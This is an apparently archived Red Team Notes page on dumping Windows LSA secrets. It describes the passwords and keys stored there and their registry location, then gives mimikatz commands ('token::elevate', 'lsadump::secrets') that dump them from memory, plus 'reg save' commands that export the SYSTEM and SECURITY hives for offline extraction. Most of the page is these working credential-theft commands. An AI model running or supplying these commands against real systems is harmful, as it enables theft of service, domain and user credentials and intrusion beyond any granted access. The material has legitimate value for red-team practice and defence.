Dumping LSA Secrets | Red Team Notes

Published: 2019-03-12 · Archived: 2026-04-02 11:20:40 UTC

1. offensive security
2. Credential Access & Dumping

Dumping LSA Secrets

> **What is stored in LSA secrets?**
>
> Originally, the secrets contained cached domain records. Later, Windows developers expanded the application area for the storage. At this moment, they can store PC users' text passwords, service account passwords (for example, those that must be run by a certain user to perform certain tasks), Internet Explorer passwords, RAS connection passwords, SQL and CISCO passwords, SYSTEM account passwords, private user data like EFS encryption keys, and a lot more. For example, the *NL$KM* secret contains the cached domain password encryption key.

LSA Secrets are stored in registry:

```
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
```

Secrets can be dumped from memory like so:

```
 token::elevate
lsadump::secrets
```

LSA secrets can be dumped from registry hives likes so:

```
reg save HKLM\SYSTEM system & reg save HKLM\security security
```

```
lsadump::secrets /system:c:\temp\system /security:c:\temp\security
```
